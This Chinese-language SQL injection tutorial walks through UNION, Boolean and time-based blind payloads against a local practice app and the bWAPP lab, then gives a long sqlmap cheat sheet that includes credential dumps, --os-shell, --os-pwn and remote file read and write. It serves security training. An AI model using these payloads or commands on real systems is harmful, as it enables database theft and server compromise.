SQL Injection Base

What is DataBase

数据库就是一个存储数据的仓库,数据库是以一定方式存储在一起、能与多个用户共享,具有尽可能小的冗余度、与应用程序彼此独立的数据集合。

关系型数据库:

关系型数据库,存储的格式可直观地反映实体间的关系。关系型数据库和常见的表格比较相似,

关系型数据库中表与表是有很多复杂的关联关系的。

常见的关系型数据库又 MySQL、Oracle、PostgreSQL、SQL Server等。

非关系型数据库:

随着近些年技术方向的不断扩展,大量的NoSQL数据库如MongoDB、Redis、Memcached出于简化数据库结构、避免冗余、影响性能的表连接、摒弃复杂分布式的目的被设计。

NoSQL数据库适合追求速度和可扩展性、业务多变的应用场景。

https://db-engines.com/en/ranking

Install MySQL....

MySQL Base

系统库释意:

information_schema 库:是信息数据库,其中保存着关于MySQL服务器所维护的所有其它数据库的信息,

比如数据库名,数据库表,表字段的数据类型与访问权限等。web渗透过程中用途很大。

  • SCHEMATA 表:提供了当前MySQL实例中所有的数据库信息,show databases 结果取之此表

  • TABLES 表:提供了关于数据中表的信息

  • COLUMNS 表:提供了表中的列信息,详细描述了某张表的所有列以及每个列的信息

MySQL库:MySQL的核心数据库,主要负责存储数据库的用户、权限设置、关键字等mysql自己需要使用的控制和管理信息。

performance_schema 库:内存数据库,数据放在内存中直接操作的数据库。相对于磁盘,内存的数据读写速度要高出几个数量级,将数据保存在内存中相比从磁盘上访问能够极大地提高应用的性能。

sys 库:通过这几个数据库,可以查询谁使用了最多的资源,基于IP或是用户。哪张表被访问最多等信息。

What is SQL Injection

SQL 注入漏洞是什么

是发生于应用程序与数据库层的安全漏洞。网站内部直接发送的SQL请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造SQL语句,如果用户输入的数据构成恶意SQL代码,web应用又未对动态构造的SQL语句使用的参数进行审查,则会带来意想不到的危险。

我们把 SQL 注入当成一道填空题的话那么他们的形式大概如下:

问:select * from table where username = ____ and password=_____

答:select * from table where username = "test" or ""="" and password="123456"

GET 型SQL注入漏洞是什么

我们在提交网页内容的时候,主要分为GET方法、POST方法,GET方法提交的内容会显现在网页URL上,通过对URL连接进行构造,可以获得超出权限的信息内容。

Web 程序三层架构:界面层 + 业务逻辑层 + 数据访问层

原理:

SELECT * FROM t1 WHERE id = %s; -- SQL 拼接
sqlStr := SELECT * FROM t1 WHERE name = 'jack'
当用户输入 1 or 1=1 
实际上执行的SQL
SELECT * FROM t1 WHERE id = 1 OR 1=1;
也就是
SELECT * FROM t1

SQL注入带来的危害:

  • 猜解后台数据库,盗取网站敏感信息
  • 绕过验证登录后台
  • 借助数据库的存储过程进行提权等操作

需求1:拿到类型是Gifts的所有商品,包含发布的商品

分析:

通过请求URL分析服务器端的SQL语句应该是

http://localhost:8080/products/?category=Gifts&released=0

select id,name,content,released from products where category = 'Gifts' and released = 0

关键点在released ,改造请求URL

http://localhost:8080/products/?category=Gifts&released=1

得到如下数据,验证我们可以拿到发布的商品信息

[
    {
        "id": 6,
        "name": "希捷酷狼16T",
        "released": 1,
        "category": "Gifts",
        "content": "Injection"
    }
]

此时通过url已经访问到发布的商品信息了,观察请求URL, 我们发现released字段默认等于0,我们可以尝试该搜索是否存在注入漏洞。

遇到一个全新的网站,如何检查是否有SQL注入的漏洞

  • 打开 F12 切换Netword 标签,输入单引号 '

发现Response有报错,分析报错内容,可能存在注入风险。

此时我们结合第一个需求,开始尝试注入。

Gifts' -- 

注入成功!分析注入语句, '(单引号表示闭合) --(表示数据库注释)

重点在于:

http://localhost:8080/products?category=Gifts'+--+&released=1

' --

注意:-- 后有空格

或者使用# 号注释

最终服务器执行的SQL

select id,name,content,released from products where category = 'Gifts'-- and released = 0

需求2:拿到所有商品,所有Content,如下图所示

[
    {
        "id": 1,
        "name": "MacBook Pro 12",
        "released": 0,
        "category": "Gifts",
        "content": "大家好,我是小徐"
    },
    {
        "id": 2,
        "name": "ThinkPad P1 Gen3",
        "released": 0,
        "category": "Gifts",
        "content": "欢迎各位"
    },
    {
        "id": 3,
        "name": "HHKB",
        "released": 0,
        "category": "Gifts",
        "content": "同学"
    },
    {
        "id": 4,
        "name": "梵克雅宝",
        "released": 0,
        "category": "Other",
        "content": "来跟我一起学习"
    },
    {
        "id": 5,
        "name": "iPhone 12 Pro",
        "released": 1,
        "category": "Phone",
        "content": "SQL"
    },
    {
        "id": 6,
        "name": "希捷酷狼16T",
        "released": 1,
        "category": "Gifts",
        "content": "Injection"
    }
]

输入注入语句,Gifts' or 1=1 --

可以看到,所有数据都被查询出来了,注入成功!

分析注入语句, or(表示或关系)、1=1(表示这个条件永远为真)

http://localhost:8080/products?category=Gifts' + or 1=1 +-- +&released=1

查看数据库最终执行的语句

select * from products where category = 'Gifts' or 1=1 -- and released = '1'

需求3:拿到所有用户名和密码并登录系统

第一步:

要清楚的了解当前系统的数据库,以及数据库中存在的表和是所有表的字段

  • 点击登录获取字段
  • 页面有回显
使用union 判断select 后面是 * 还是多个字段

构造执行语句

union select 1,2,3,4
  • 获取对应数据库

http://localhost:8080/products?category=Gifts' + union select 1,user(),3,version(),database() +-- +&released=1

构造执行语句

Gifts' union select 1,database(),3,4,5 from information_schema.TABLES where TABLE_SCHEMA = database() -- 

此时已获取到对应数据库,查看执行语句

select *
from products
union
select 1, database(), 3, 4, 5
from information_schema.TABLES
where TABLE_SCHEMA = database();
  • 获取到库名后,开始获取库中的所有表

http://localhost:8080/products?category=Gifts' + union select 1,database(),4,table_name,5 from information_schema.TABLES where TABLE_SCHEMA = database() +-- +&released=1

构造执行语句

Gifts' union select 1,database(),3,4,table_name from information_schema.tables where table_schema = 'penetration_study' -- 
  • 查看user表中对应的字段,判断是否有有用信息

http://localhost:8080/products?category=1' + union select 1,database(),3,COLUMN_NAME,5 from information_schema.COLUMNS where TABLE_NAME = 'user' and TABLE_SCHEMA = database() +-- +&released=1

构造执行语句

Gifts' union select 1,database(),3,4,column_name from information_schema.columns where table_name = 'user'  and table_schema = 'penetration_study' -- 

查看数据库执行语句

select * from products
where category = '1'
union
select 1,database(),3,COLUMN_NAME,5
from information_schema.COLUMNS where TABLE_NAME = 'user'
and TABLE_SCHEMA = database()
  • 获取到表字段后,查看字段对应的值

http://localhost:8080/products?category=1' + union select 1,username,3,password,4 from user; +-- +&released=1

构造执行语句

Gifts' union select 1,username,3,4,password from user -- 

查看数据库执行语句

select *
from products
where category = '1'
union
select 1,username,3,password,4
from user;

真实情况 ?密码一般不会是明文,但是能走到这一步....

SQL Injection Utils

Install bWAPP

docker 安装

docker search bwapp

docker pull raesene/bwapp

bwapp是一个渗透测试靶场,其中含有100多个web漏洞,基本涵盖了所有主要的已知漏洞,包括OWASPTop 10的各种

docker run --name bwapp -d -p 8088:80 imageId

http:// ip:8088/install.php

开始靶场练习

登录靶场

  • login

    • username: bee

    • password: bug

选择靶场环境,点击Hack切换

使用Postman 调试接口

捕获请求查看是否有漏洞注入

attack! !

需求1:拿到当前登录数据库的用户名和当前数据库名

  • 使用union 进行匹配字段数量

发现只返回了一条数据,没有回显多余数据的字段

思考:为什么会这样? 是不是数据库层面使用了 LIMIT

查看页面代码

发现最多回显10条,如果查询第11条数据,是否就能执行我们注入的union ?

执行过后发现,确实可以满足我们的union 注入条件

此时,可以替换我们需要的条件了

11 union select 1,user(),database(),4,version(),6,7 #

已经查看到对应数据库了,接下来通过库获取表

11 union select 1,user(),database(),4,TABLE_NAME,6 ,7 from information_schema.TABLES where TABLE_SCHEMA = database() #

思考:当前界面每次只返回一条数据,数据库中不可能只有一张表

解决:通过 limit 限制返回条件

11 union select 1,user(),database(),4,TABLE_NAME,6 ,7 from information_schema.TABLES where TABLE_SCHEMA = database() limit 1,1#

可以看到,表名已经发生了变化,但是还不是我们想要的表。

最终想要的表是关乎用户名和密码的

需求2:拿到所有的用户名和密码

经过多次尝试,找到了我们想要的表

思考:对应这种每次只返回一条数据的情况,可能要尝试N次才能找到我们想要的表,有没有快速解决的方法呢?

MySQL函数:group_concat(字段) 可以将表中所有的数据拼接到指定字段上

11 union select 1,user(),database(),4,group_concat(TABLE_NAME),6 ,7 from information_schema.TABLES where TABLE_SCHEMA = database() #

这个时候就拿到了所有的表了

分析所有表中可能存在用户名和密码字段的

通过表获取所有字段

11 union select 1,user(),database(),4,group_concat(COLUMN_NAME),6 ,7 from information_schema.COLUMNS where TABLE_NAME = 'users'
and TABLE_SCHEMA = database()#

分析有用字段,获取用户名字段和密码字段

11 union select 1,group_concat(login),group_concat(password),4,5,6 ,7 from  users #

用户名和密码都是逗号分割。尝试登录

用户名:A.I.M.

密码: 6885858486f31043e5839c735d99457f045affd0(破解)

总结:

判断SQL注入点

判断该访问URL是否存在SQL注入

如果存在SQL注入,属于哪种SQL注入?必须要清楚注入类型,才能构造注入语句

经典的单引号判断法

http://{}/api/products/?category='&released=0

如果页面返回错误,则存在SQL注入

原因:单引号个数不匹配

通常SQL注入类型分为两种类型,一种是字符串类型,一种是数字类型

数字型

select * from table_name where id = 1

构造:

select * from table_name where id = 1 and 1=1

字符型

select * from table_name where id = '1'

构造:

select * from table_name where id = '1' and '1' ='1'

SQL Injection Blind

SQL Injection Type

  • UNION query SQL injection
  • Boolean-based blind SQL injection
  • Error-based SQL injection
  • Time-based blind SQL injection
  • Stacked queries SQL injection

Union 联合查询注入

Boolean-Base 布尔型注入

Error-Based 报错型注入

Time-Based 基于时间延迟注入

如果页面能够输出SQL报错的信息,则可以从报错信息中获得想要的信息

Stacked queries

盲注需要掌握的几个基础函数

SQL时间盲注可以利用下面几个函数:

  • sleep(t) 延时t秒钟。这个函数返回值是0。
  • ascii(str) 返回字符字符串str首字符的ASCII码值。如果str是空串,则返回0;如果strNULL,则返回NULL.
  • ord(str)ascii.
  • length(str) 返回str的长度。
  • substr(str, pos, len) 字符串截取函数,返回strpos开始、长度为len的子串。需要注意,这里的字符串从1开始编号
  • mid(str, pos, len)substr.
  • substring(str, pos, len)substr.
  • left(str, len) 字符串左截取函数,返回str的左len个字符。
  • right(str, len) 字符串右截取函数,返回sre的右len个字符。
  • if(expr1, expr2, expr3) 逻辑判断函数。如果expr1为真,则执行expr2;否则执行expr3.

substr() 对字符串进行截取

select substr(database(),1,1);

截取之后对数据库名称进行匹配

select substr(database(),1,1) = 'p';

获取数据库长度

select length(database()); 

执行playload判断盲注

select substr(database(),1,1) = 'p' and sleep(2)

将条件转换为ASCII码

select substr(database(),1,1) = 'p' and sleep(2)

Blind Time-Based Attack Demo

打开bWAPP靶场环境,按如下选择

尝试正常输入或者输入单引号都没有任何回显内容

该类型属于时间盲注,页面无任何回显

使用sleep() 函数判断

构造注入语句

1' or sleep(1) # 

可以看到响应时间达到了10秒,表示结果集有10个是满足条件了,既10 * sleep(1)

既然得到了验证,现在我们需要找到一个正确的条件,条件修改成and

Iron Man ' and sleep(2) --

如何通过时间盲注获取到我们想要的信息?

需求1:获取到数据库名称长度

  • 判断数据库字符长度
Iron Man' and length(database()) > 1 and sleep(2) -- 

需求2:获取到数据库名称

  • 逐个校验字符或者数字
Iron Man' and ascii(substr(database(),1,1)) = 98 and sleep(2) -- 

SQLMap 爆破使用

sqlmap安装

Sqlmap的简单用法

sqlmap -r http.txt  #http.txt是我们抓取的http的请求包

sqlmap -r http.txt -p username  #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测

sqlmap -u "http://www.xx.com/username/admin*"       #如果我们已经知道admin这里是注入点的话,可以在其后面加个*来让sqlmap对其注入

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"   #探测该url是否存在漏洞

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"   --cookie="抓取的cookie"   #当该网站需要登录时,探测该url是否存在漏洞

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --data="uname=admin&passwd=admin&submit=Submit"  #抓取其post提交的数据填入

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users      #查看数据库的所有用户

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords  #查看数据库用户名的密码
有时候使用 --passwords 不能获取到密码,则可以试下

-D mysql -T user -C host,user,password --dump  当MySQL< 5.7时

-D mysql -T user -C host,user,authentication_string --dump  当MySQL>= 5.7时

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user  #查看数据库当前的用户

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba    #判断当前用户是否有管理员权限

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles     #列出数据库所有管理员角色,仅适用于oracle数据库的时候

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --dbs        #爆出所有的数据库

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --tables     #爆出所有的数据表

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --columns    #爆出数据库中所有的列

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --current-db #查看当前的数据库

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump  #爆出数据库security中的users表中的username列中的所有数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump --start 1 --stop 100  #爆出数据库security中的users表中的username列中的前100条数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all   #爆出数据库security中的所有数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all  #爆出该数据库中的所有数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --tamper=space2comment.py  #指定脚本进行过滤,用/**/代替空格

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别。当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入。

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell  #执行指定的sql语句

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell/--os-cmd   #执行--os-shell命令,获取目标服务器权限

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-pwn   #执行--os-pwn命令,将目标权限弹到MSF上

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write  test.txt  --file-dest "e:/hack.txt"  #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms="MySQL"     #指定其数据库为mysql 
其他数据库:Altibase,Apache Derby, CrateDB, Cubrid, Firebird, FrontBase, H2, HSQLDB, IBM DB2, Informix, InterSystems Cache, Mckoi, Microsoft Access, Microsoft SQL Server, MimerSQL, MonetDB, MySQL, Oracle, PostgreSQL, Presto, SAP MaxDB, SQLite, Sybase, Vertica, eXtremeDB

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent   #使用任意的User-Agent爆破

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --proxy="http://127.0.0.1:8080"    #指定代理
当爆破HTTPS网站会出现超时的话,可以使用参数 --delay=3 --force-ssl
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --technique T    #指定时间延迟注入,这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。
支持的探测方式如下:
  B: Boolean-based blind SQL injection(布尔型注入)
  E: Error-based SQL injection(报错型注入)
  U: UNION query SQL injection(可联合查询注入)
  S: Stacked queries SQL injection(可多语句查询注入)
  T: Time-based blind SQL injection(基于时间延迟注入)

sqlmap -d "mysql://root:root@192.168.10.130:3306/mysql" --os-shell   #知道网站的账号密码直接连接

-v3                   #输出详细度  最大值5 会显示请求包和回复包
--threads 5           #指定线程数
--fresh-queries       #清除缓存
--flush-session       #清空会话,重构注入 
--batch               #对所有的交互式的都是默认的
--random-agent        #任意的http头
--tamper base64encode            #对提交的数据进行base64编码
--referer http://www.baidu.com   #伪造referer字段

--keep-alive     保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保错的时候,使用这个参数

探测指定URL是否存在SQL注入漏洞

对于不用登录的网站,直接指定其URL

sqlmap.py -u "http://localhost:8089/products/?category=Gifts&released=0"     #探测该url是否存在漏洞

对于需要登录的网站,我们需要指定其cookie 。我们可以用账号密码登录,然后用抓包工具抓取其cookie填入

sqlmap -u  "http://49.233.26.33:8081/sqli_13.php"   --cookie="抓取的cookie"  #探测该url是否存在漏洞

对于是post提交数据的URL,我们需要指定其data参数

sqlmap -u "http://49.233.26.33:8081/sqli_13.php" --data="movie=1&action=go"  #抓取其post提交的数据填入

查看数据库的所有用户(—users)

sqlmap -u "http://localhost:8089/products/?category=Gifts&released=0" --users #查看数据库的所有用户

查看数据库所有用户名的密码(—passwords)

sqlmap -u "http://localhost:8089/products/?category=Gifts&released=0" --passwords #查看数据库用户名的密码

查看数据库当前用户(—current-user)

sqlmap -u "http://localhost:8089/products/?category=Gifts&released=0" --current-user  #查看数据库当前的用户

判断当前用户是否有管理权限(—is-dba)

查看当前账户是否为数据库管理员账户

sqlmap -u "http://localhost:8089/products/?category=Gifts&released=0" --is-dba  #判断当前用户是否有管理员权限

列出数据库管理员角色(—roles)

sqlmap -u "http://localhost:8089/products/?category=Gifts&released=0" --roles   #列出数据库所有管理员角色

查看所有的数据库(—dbs)

sqlmap -u "http://localhost:8089/products/?category=Gifts&released=0" --dbs

查看当前的数据库(—current-db)

sqlmap -u "http://localhost:8089/products/?category=Gifts&released=0" --current-db #查看当前的数据库

爆出指定数据库中的所有的表

sqlmap -u "http://localhost:8089/products/?category=Gifts&released=0" -D penetration_study --tables #爆出数据库penetration_study中的所有的表

爆出指定数据库指定表中的所有的列

sqlmap -u "http://localhost:8089/products/?category=Gifts&released=0" -D penetration_study -T user --columns

爆出指定数据库指定表指定列下的数据

sqlmap -u "http://localhost:8089/products/?category=Gifts&released=0" -D penetration_study -T user -C username,password --dump  #爆出数据库penetration_study中的user表中的username列中的所有数据
下一篇